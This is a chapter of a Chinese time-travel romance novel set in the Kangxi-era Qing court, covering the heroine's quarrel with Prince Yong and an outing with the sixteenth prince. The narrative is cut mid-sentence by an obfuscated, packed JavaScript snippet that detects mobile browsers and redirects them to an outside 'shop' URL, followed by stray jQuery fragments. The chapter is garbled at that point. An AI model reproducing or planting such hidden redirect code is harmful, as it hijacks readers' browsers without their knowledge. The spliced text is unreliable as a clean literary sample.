76. 第 76 章

作品:《是谁多事种芭蕉

    “正月时,诸臣进的‘万寿无疆’屏就被阿玛退回了,三月再进言时,偏山东、河南、陕西、安徽又遭了灾。


    三月十八日,是圣寿日也是黄淮河工宣布告成之日,我跟着南巡遍览河工,心想着双喜,再次进言,企料被汗阿玛指责,说我轻率。


    这十年我一直都在想应该如何做,想来今日便知道了。”雍亲王喃喃道出十年前的往事,竟还记得那样清晰。


    严露晞也很沮丧。


    十年?年露的生命也只剩十年了。


    “所以,我想告诉你,我在这庙里问的不是别人,正是我自己。”


    所以上次吵完架后他没有生自己的气?严露晞不敢相信。


    被他那如乌云罩着蒙蒙细雨打湿全身的冰冷感感染,脚下粘腻着迈不开。


    看着雍亲王府的正殿,绿色琉璃瓦上积了不少落叶、泥土。


    白墙上爬来一大片潮气带着青苔,木墙脱漆,过年时挂的灯笼才俩月便不再亮红。


    老朽的门框带着裂痕,灰尘在光影中浮沉。


    而她,就站在其中。


    回过神来才发现自己已经出了一身冷汗,扶着桌角坐上临窗的大炕,“刚才王爷说了,您在寺里是在问自己。我知道。”


    灵魂交融这件事对她来说太过赤丨裸,还是说说现实吧,“托合齐既然已经死了,此时就算完结,对他来说至少没有那么痛苦。”


    雍亲王点点头,“托合齐因罪恶重大,将被挫尸扬灰,不许收葬。”


    人已经死了,烧就烧吧,谁又不死呢。


    她安慰道:“满人习俗本就是火葬,如今托合齐也不过是来自天地,去往天地。


    更何况,圣上已经免了无数人死罪,这不又是另一种新生吗?皇上正直万寿前夕,如此做法,也会增福增寿。”


    但他不高兴,“不可胡说。”


    她知道,不能议论主子。


    他们都知道,手握权利的人,无论好坏,都容不得人议论。


    所以,只有下位者被凝视,被指点,被教育,美其名曰:为你好。


    好累啊,严露晞也不和他计较,兀自拎着茶壶斟了满杯,“人生就是那么累,所以干脆什么都不想好了,我就要这样躺着,什么都不干!”


    说着她就往靠背上躺,手中的茶水扑出来不少。


    看她对自己置之不理,已经逐渐失去耐心,他讪笑,“我时常在想,你心里真的有我麽?为何你从不将我放在心上?”


    严露晞当然回答不上来,她又不是来谈恋爱的,她心里有他啊,想看他怎么死而已。


    年露心里倒是有他,可她不想代替别人回答。


    雍亲王往反方向去,四平八稳地坐在椅子上,探究道:“你真的想不起来了麽,永远想不起我们第一次见面的情形了?”


    严露晞抬眼注意到他眼中的失望,他想透过她的眼睛看向年露,可是他再也看不到了。


    年露被她杀害,她的情感,她的人生。


    自己是名副其实的,阴沟里的老鼠!


    埋下头躲开他的双眼,他想索取的东西她没有。心一横,人也往手边的软引枕上瘫倒。


    “我不记得了,王爷让我再想想吧,我很累,人生没得选了,这么一想更累,我现在就要这样躺着,什么都不干!”


    她本来就喜欢一个人呆着,只是没成想,在三百年前实现了。


    用如此可笑的方式,在最不想要的时候获得了最想要的东西。


    “还有,万寿节……”她可不想去贺寿!


    初听时跃跃欲试,转念又想,见证了这历史又如何呢?


    巨大的失落砸下来,更让她觉得窒息。


    何况身在巨轮中的自己只能跟在人群里四处磕头,发呆看戏。


    光一身朝服和各类饰品都能把人压死。实在苦不堪言。


    没等拒绝,雍亲王已经先她一步,“颁金节后你一直病着,外间风言风语不断,万寿节也该露面为汗阿玛贺寿才是!”


    见她一直盯着自己,转过身将邸报收了起来,“本王这般忍让你,是因为你病了还未完全康复。”


    被拒绝的严露晞即刻呛声:“我这身体是吃人参吃的!”


    对面人沉默半晌,发出了一个“啧。”起身踱了两步又返回来,“你若是不喜欢我叫你哥哥来,下次便不叫就是。很快又到你的生辰,你可有什么想要的礼物?”


    又是这样避重就轻,“我?”她毫不客气,大手一挥,“我想,将府中众人送回娘家去。”


    雍亲王苦笑着,“不要再说气话了。”


    平日里,雍亲王讲话都是声音洪亮的,只是二人在房中,总爱故意在她耳边悄声低语。


    今日尽量压着自己的语气,像是在说给他自己听,“当初良妃额涅事发时你还小,听人传来的消息就敢说这些话。”


    “什么事?”


    “不就是另寻人家之事!”他此刻的情绪已然不好,“你可知八阿哥死活哭闹良妃额涅才得以留下,若是没有八阿哥,良妃额涅如何自处?”


    严露晞大致明白了其中缘由,今日阿图在,他才会觉得自己说这些话是故意恶心人的。


    追着和他理论:“那你们问过良妃娘娘吗,她究竟是想留在宫中还是出宫再嫁?


    她有自我选择还是说这一切只是你们将她夹在中间让她难受!”她恍然大悟,“她不肯就医难道不是因为她对自己的未来绝望了吗?


    自己的枕边人、自己的儿子,只是将她看做一件物品,就像我们府中的这些女人,王爷,您真的有把她们当成人吗?”


    “你难道平日里和她们是朋友了?我倒也想提醒你,独木难支。”


    严露晞恼羞成怒,对着他喊:“我知道,独行快,众行远,但内心丰腴者,独行也如众!”


    独木难支,她当然懂,否则也不会一直隐藏着孤僻的心,努力迎合每一个她不喜欢的世界。


    近来为了告伊琭玳,更是拉拢了不少人。


    她是来找架吵的,宁愿他拍桌子瞪眼睛,才好话头上什么都说,可他总这样,她反而不知道怎么使招了,实在难应对。


    透过花窗看出去,灰色天空,就像她的心情一样压抑。


    嘴里喊着说看天色不好了,要回清晖室休息,便歪歪扭扭跑了出去。


    这次雍亲王斥责了年希尧后,严露晞的药变得更苦了,不知道是不是哥哥整自己呢。


    不过确实身体又轻盈些,时常像长了翅膀会飞那般,连心都在飞。


    有时候恨不得飞到雍亲王身边去,要和他再吵一架,过会儿又想飞得离他远些,就像他


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17320599|185138||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    不回府一样,让他也见不着人。


    春三月,千叟宴便紧锣密鼓开展了起来。


    王府十几辆马车来回跑了四五趟都还没清闲,正再一次将行李装车,搬去圆明园。


    宴席要在畅春园办,到时候她们方便去祝寿,喜格说,再两月便到夏季,也就不来回跑,一次性将夏天的都送过去。


    清晖室人最多,吟雪又是个务求完美的人,连常用的碗碟也要带,弄得光她们就要二十辆马车。


    不过吟雪忙点最好,严露晞这头进了马车,那头就溜了下去。


    北方的春天总是突袭似的,在漫长的冬日后,晌午的日头一晒,冰凌掉落,一夜间,枝干泛青,玉兰的花骨朵便傲立枝头。


    再一日,迎春花缀了满枝桠。这样争春的景象,就应该出来踏青,她心里就是这么想的。


    只是风景再靓丽,她竟有些看不明白,大朵的玉兰、如祥云般的樱花,在她眼里都失了颜色。


    刚跑出去不远竟遇见了在这里为数不多的熟人,马上的人欣喜得一力跳下来,后背挺直打了个千儿,“福金怎么又一个人?”


    她还想问,怎么总是这么巧呢!


    “阿哥赛音,我们今日往圆明园去,我带着丫头想出门走走。”


    十六阿哥一挥手,对身边人严厉吩咐:“去租辆马车来。”


    他身上的九蟒五爪金黄色蟒袍熠熠生辉,袍为四开裾,袖端为马蹄袖,袍缘镶织锦片金,极为庄重华丽。


    在这个芳菲迷人的春三月,人比花娇。


    千年一遇的盛会,到了这一百年竟然就有三次。


    街上两个人不好攀谈,等马车来了,她想拉他手臂推到马车里,他轻轻往后,躲开她的葱白手指。


    以为他不愿让自己碰到他华丽的外袍,严露晞悻悻进了马车坐下,“阿哥怎么在此?我每次一个人出门就会遇见你。”


    十六阿哥已经上了马,跟在严露晞窗边,“上次福金说想看万寿庆典,我得了空就出来转转。”


    那日严露晞只是为二人在庙会相遇找的借口。


    看她没搭腔,十六阿哥解释:“我意思是,从前没想过要出来看看,被您一说,也好奇起来。


    这一月刑部官署停止刑事处理,遗疏或是奏请抚恤等事不能在此时呈递,我想着既然不当差,所以转转。”


    严露晞的直觉告诉她,没那么简单,不过这都无所谓,她背靠着车窗,只要不是在监视自己就行,“多谢阿哥的马车。你叫我嘎琭就好了,不需要那么生分。”


    他弯腰靠近车窗,放低声线问:“上次在庙会见您闷闷不乐,那晚没好意思问,回去后一直辗转反侧,想问……嘎琭可有需要帮助之处?”


    “我年前病了,阿哥应该知道的。”十六阿哥的母亲派人来关心过,他肯定也知道,她便开诚布公,“虽已大好,但精力始终跟不上。”


    十六阿哥一直压着身子,就像要钻进马车一般,“上次庙会遇见,您一言不发,这次眼看精神好了许多,想来也是王爷在柏林寺中祈福,佛祖有感。”


    上次在庙会她是去报官的,还被骗了,自然情绪更差些,而且她不知这个十六阿哥与雍亲王关系究竟如何。


    毕竟雍正一上台就把这个十六阿哥过继给了别的王爷,说来应该很忌惮他才是。